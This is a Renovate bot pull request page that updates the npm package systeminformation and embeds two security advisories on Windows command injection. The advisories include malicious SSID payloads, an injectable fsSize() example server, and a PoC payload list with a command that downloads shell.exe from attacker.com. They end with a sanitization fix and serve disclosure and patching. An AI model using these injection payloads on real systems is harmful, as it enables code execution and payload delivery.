Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Dec 20, 2024

This PR contains the following updates:

Package Change Age Confidence
systeminformation (source) 5.22.0 -> 5.27.14 age confidence

GitHub Vulnerability Alerts

CVE-2024-56334

Summary

The SSID is not sanitized when before it is passed as a parameter to cmd.exe in the getWindowsIEEE8021x function. This means that malicious content in the SSID can be executed as OS commands.

Details

I have exploited this vulnerability in a Windows service using version 5.22.11 of the module, to escalate privileges (in an environment where I am authorized to do so). However, as far as I can see from the code, it is still present in master branch at time of writing, on line 403/404 of network.js.

The SSID is obtained from netsh wlan show interface ... in getWindowsWirelessIfaceSSID, and then passed to cmd.exe /d /s /c "netsh wlan show profiles ... in getWindowsIEEE8021x, without sanitization.

PoC

First, the command injection payload should be included in the connected Wi-Fi SSID. For example create hotspot on mobile phone or other laptop, set SSID to payload, connect to it with victim Windows system. Two example SSID's to demonstrate exploitation are below.

Demonstration to run ping command indefinitely:

a" | ping /t 127.0.0.1 &

Run executable with privileges of the user in which vulnerable function is executed. Chosen executable should should be placed in (assuming system drive is C): C:\a\a.exe.

a" | %SystemDrive%\a\a.exe &

Then, the vulnerable function can be executed on the victim system, for example, using:

const si = require('systeminformation');
si.networkInterfaces((net) => { console.log(net) });

Now the chosen command, PING.exe or a.exe will be run through the cmd.exe command line.

Impact

This vulnerability may enable an attacker, depending on how the package is used, to perform remote code execution or local privilege escalation.

CVE-2025-68154

Summary

The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.

Affected Platforms: Windows only

CVSS Breakdown:

  • Attack Vector (AV:N): Network - if used in a web application/API
  • Attack Complexity (AC:H): High - requires application to pass user input to fsSize()
  • Privileges Required (PR:N): None - no authentication required at library level
  • User Interaction (UI:N): None
  • Scope (S:U): Unchanged - executes within Node.js process context
  • Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited

Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable.


Details

Vulnerable Code Location

File: lib/filesystem.js, Line 197

if (_windows) {
  try {
    const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
    util.powerShell(cmd).then((stdout, error) => {

The drive parameter is concatenated directly into the PowerShell command string without any sanitization.

Why This Is a Vulnerability

This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString():

File Line Function Sanitization
lib/processes.js 141 services() util.sanitizeShellString(srv)
lib/processes.js 1006 processLoad() util.sanitizeShellString(proc)
lib/network.js 1253 networkStats() util.sanitizeShellString(iface)
lib/docker.js 472 dockerContainerStats() util.sanitizeShellString(containerIDs, true)
lib/filesystem.js 197 fsSize() No sanitization

The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, `, #, etc., which would prevent command injection.


PoC

Attack Scenario

An application exposes disk information via an API and passes user input to si.fsSize():

// Vulnerable application example
const si = require('systeminformation');
const http = require('http');
const url = require('url');

http.createServer(async (req, res) => {
  const parsedUrl = url.parse(req.url, true);
  const drive = parsedUrl.query.drive; // User-controlled input
  
  // VULNERABLE: User input passed directly to fsSize()
  const diskInfo = await si.fsSize(drive);
  
  res.end(JSON.stringify(diskInfo));
}).listen(3000);

Exploitation

Normal Request:

GET /api/disk?drive=C:

Malicious Request (Command Injection):

GET /api/disk?drive=C:;%20whoami%20%23

Command Construction Demonstration

The following demonstrates how commands are constructed with malicious input:

Normal usage:

Input: "C:"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl

With injection payload C:; whoami #:

Input: "C:; whoami #"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
                                                                                                                            ↑         ↑
                                                                                                            semicolon terminates    # comments out rest
                                                                                                            first command

PowerShell will execute:

  1. Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C: (original command)
  2. whoami (injected command)
  3. Everything after # is commented out

PoC Script

/**
 * Command Injection PoC - systeminformation fsSize()
 * 
 * Run with: node poc.js
 * Requires: npm install systeminformation
 */

const os = require('os');

// Simulates the vulnerable command construction from filesystem.js:197
function simulateVulnerableCommand(drive) {
  const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
  return cmd;
}

// Test payloads
const payloads = [
  { name: 'Normal', input: 'C:' },
  { name: 'Command Execution', input: 'C:; whoami #' },
  { name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' },
  { name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' },
];

console.log('=== Command Injection PoC ===\n');
console.log(`Platform: ${os.platform()}`);
console.log(`Note: Actual exploitation requires Windows\n`);

payloads.forEach(p => {
  console.log(`[${p.name}]`);
  console.log(`  Input: ${p.input}`);
  console.log(`  Command: ${simulateVulnerableCommand(p.input)}\n`);
});

PoC Output

=== Command Injection PoC ===

Platform: win32
Note: Actual exploitation requires Windows

[Normal]
  Input: C:
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl

[Command Execution]
  Input: C:; whoami #
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl

[Data Exfiltration]
  Input: C:; Get-Process | Out-File C:\temp\procs.txt #
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl

[Remote Payload]
  Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe #
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl

As shown, the attacker's commands are injected directly into the PowerShell command string.


Impact

Who Is Affected?

  • Applications running systeminformation on Windows that pass user-controlled input to fsSize(drive)
  • Web applications, APIs, or CLI tools that accept drive letters from users
  • Monitoring dashboards that allow users to specify which drives to query

Potential Attack Scenarios

  1. Remote Code Execution (RCE) - Execute arbitrary commands with Node.js process privileges
  2. Data Exfiltration - Read sensitive files and exfiltrate data
  3. Privilege Escalation - If Node.js runs with elevated privileges
  4. Lateral Movement - Use the compromised system to attack internal network
  5. Ransomware Deployment - Download and execute malicious payloads

Recommended Fix

Apply util.sanitizeShellString() to the drive parameter, consistent with other functions in the codebase:

  if (_windows) {
    try {
+     const driveSanitized = drive ? util.sanitizeShellString(drive, true) : '';
-     const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
+     const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`;
      util.powerShell(cmd).then((stdout, error) => {

The true parameter enables strict mode which removes additional characters like spaces and parentheses.


systeminformation thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.


Release Notes

sebhildebrandt/systeminformation (systeminformation)

v5.27.14

Compare Source

v5.27.13

Compare Source

v5.27.12

Compare Source

v5.27.11

Compare Source

v5.27.10

Compare Source

v5.27.9

Compare Source

v5.27.8

Compare Source

v5.27.7

Compare Source

v5.27.6

Compare Source

v5.27.5

Compare Source

v5.27.4

Compare Source

v5.27.3

Compare Source

v5.27.2

Compare Source

v5.27.1

Compare Source

v5.27.0

Compare Source

v5.26.2

Compare Source

v5.26.1

Compare Source

v5.26.0

Compare Source

v5.25.11

Compare Source

v5.25.10

Compare Source

v5.25.9

Compare Source

v5.25.8

Compare Source

v5.25.7

Compare Source

v5.25.6

Compare Source

v5.25.5

Compare Source

v5.25.4

Compare Source

v5.25.3

Compare Source

v5.25.2

Compare Source

v5.25.1

Compare Source

v5.25.0

Compare Source

v5.24.9

Compare Source

v5.24.8

Compare Source

v5.24.7

Compare Source

v5.24.6

Compare Source

v5.24.5

Compare Source

v5.24.4

Compare Source

v5.24.3

Compare Source

v5.24.2

Compare Source

v5.24.1

Compare Source

v5.24.0

Compare Source

v5.23.25

Compare Source

v5.23.24

Compare Source

v5.23.23

Compare Source

v5.23.22

Compare Source

v5.23.21

Compare Source

v5.23.20

Compare Source

v5.23.19

Compare Source

v5.23.18

Compare Source

v5.23.17

Compare Source

v5.23.16

Compare Source

v5.23.15

Compare Source

v5.23.14

Compare Source

v5.23.13

Compare Source

v5.23.12

Compare Source

v5.23.11

Compare Source

v5.23.10

Compare Source

v5.23.9

Compare Source

v5.23.8

Compare Source

v5.23.6

Compare Source

v5.23.5

Compare Source

v5.23.4

Compare Source

v5.23.3

Compare Source

v5.23.2

Compare Source

v5.23.1

Compare Source

v5.23.0

Compare Source

v5.22.11

Compare Source

v5.22.10

Compare Source

v5.22.9

Compare Source

v5.22.8

Compare Source

v5.22.7

Compare Source

v5.22.6

Compare Source

v5.22.5

Compare Source

v5.22.4

Compare Source

v5.22.3

Compare Source

v5.22.2

Compare Source

v5.22.1

Compare Source


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-systeminformation-vulnerability branch from 0571b38 to 002bc7c Compare January 23, 2025 18:08
@renovate renovate bot force-pushed the renovate/npm-systeminformation-vulnerability branch from 002bc7c to ebac6d1 Compare April 24, 2025 10:27
@renovate renovate bot force-pushed the renovate/npm-systeminformation-vulnerability branch from ebac6d1 to f96e680 Compare May 28, 2025 10:13
@renovate renovate bot force-pushed the renovate/npm-systeminformation-vulnerability branch from f96e680 to 653d23d Compare June 22, 2025 15:12
@renovate renovate bot force-pushed the renovate/npm-systeminformation-vulnerability branch from 653d23d to be1a2a4 Compare July 2, 2025 18:00
@renovate renovate bot force-pushed the renovate/npm-systeminformation-vulnerability branch from be1a2a4 to 2af765d Compare August 31, 2025 13:03
@renovate renovate bot force-pushed the renovate/npm-systeminformation-vulnerability branch from 2af765d to 1b40246 Compare September 25, 2025 18:25
@renovate renovate bot changed the title fix(deps): update dependency systeminformation to v5.23.8 [security] chore(deps): update dependency systeminformation to v5.23.8 [security] Sep 25, 2025
@renovate renovate bot force-pushed the renovate/npm-systeminformation-vulnerability branch from 1b40246 to f27b4bf Compare October 21, 2025 09:59
@renovate renovate bot force-pushed the renovate/npm-systeminformation-vulnerability branch from f27b4bf to 7778ae0 Compare December 16, 2025 23:45
@renovate renovate bot changed the title chore(deps): update dependency systeminformation to v5.23.8 [security] chore(deps): update dependency systeminformation to v5.27.14 [security] Dec 16, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant